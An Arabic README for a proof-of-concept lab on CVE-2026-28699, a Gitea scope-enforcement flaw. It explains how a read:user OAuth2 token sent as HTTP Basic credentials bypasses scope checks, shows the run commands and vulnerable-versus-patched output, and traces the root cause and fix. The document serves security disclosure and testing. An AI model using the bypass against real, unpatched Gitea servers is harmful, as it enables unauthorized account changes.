
تمارين معملية + شرح لـ CVE-2026-28699: تجاوز تطبيق نطاقات OAuth2 في Gitea عبر المصادقة الأساسية HTTP
يمكن لرمز وصول OAuth2 في Gitea مقتصر على read:user فقط تنفيذ إجراءات كتابة كاملة عند إرساله كـ Authorization: Basic base64(<token>:x-oauth-basic) بدلاً من كرمز Bearer. يتم تخطي فحص النطاق لأي رمز يتم تقديمه عبر المصادقة الأساسية.
المتأثر: <= 1.26.1. تم الإصلاح في 1.26.2.
التنبيه: GHSA-9r5x-wg6m-x2rc. CWE-863. الخطورة عالية.
التقرير الكامل: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
يقوم poc.py بإعداد Gitea مؤقتة على SQLite في دليل temp للنظام، ويقوم بتشغيل تدفق رمز التفويض OAuth2 لإنشاء رمز مقتصر على read:user فقط، ثم يستدعي نقطة نهاية كتابة عبر كل من Bearer و Basic ويطبع النتيجة. قم بتعيين POC_DEBUG=1 لرؤية خطوات تدفق المصادقة.
الإصدار الضعيف 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
الإصدار المُصحَّح 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
يقوم services/auth/basic.go بتعيين IsApiToken ولكن ليس ApiTokenScope لرموز OAuth2. يعود middleware tokenRequiresScopes مبكرًا عندما يكون النطاق غائبًا، لذا لا يتم فحص أي شيء. يضيف إصلاح 1.26.2 الإعداد المفقود store.GetData()["ApiTokenScope"] = accessTokenScope.
لأغراض التعليم والاختبار الأمني المصرح به: مختبرك الخاص، صناديق CTF و HTB، أهداف مكافآت الأخطاء داخل النطاق. يقوم PoC بتشغيل Gitea الخاصة به القابلة للتخلص، لذا لا توجهه إلى أي شيء لا تملكه.
| عرض المصادقة | IsApiToken | ApiTokenScope | فرض النطاق؟ |
|---|
| رمز OAuth2 عبر Bearer | true | محدد | نعم |
| رمز OAuth2 عبر Basic | true | مفقود | لا (يفتح عند الفشل) |
| رمز الوصول الشخصي | true | محدد | نعم |
| الملف | الغرض |
|---|
WRITEUP.md | تحليل السبب الجذري، التأثير، المعالجة، الكشف |
fetch_binaries.py | يقوم بتنزيل ثنائيات 1.26.1 / 1.26.2 لنظام التشغيل والبنية الخاصة بك |
poc.py | يجهز Gitea، ينشئ رمز read:user، يختبر Bearer مقابل Basic |
requirements.txt | requests |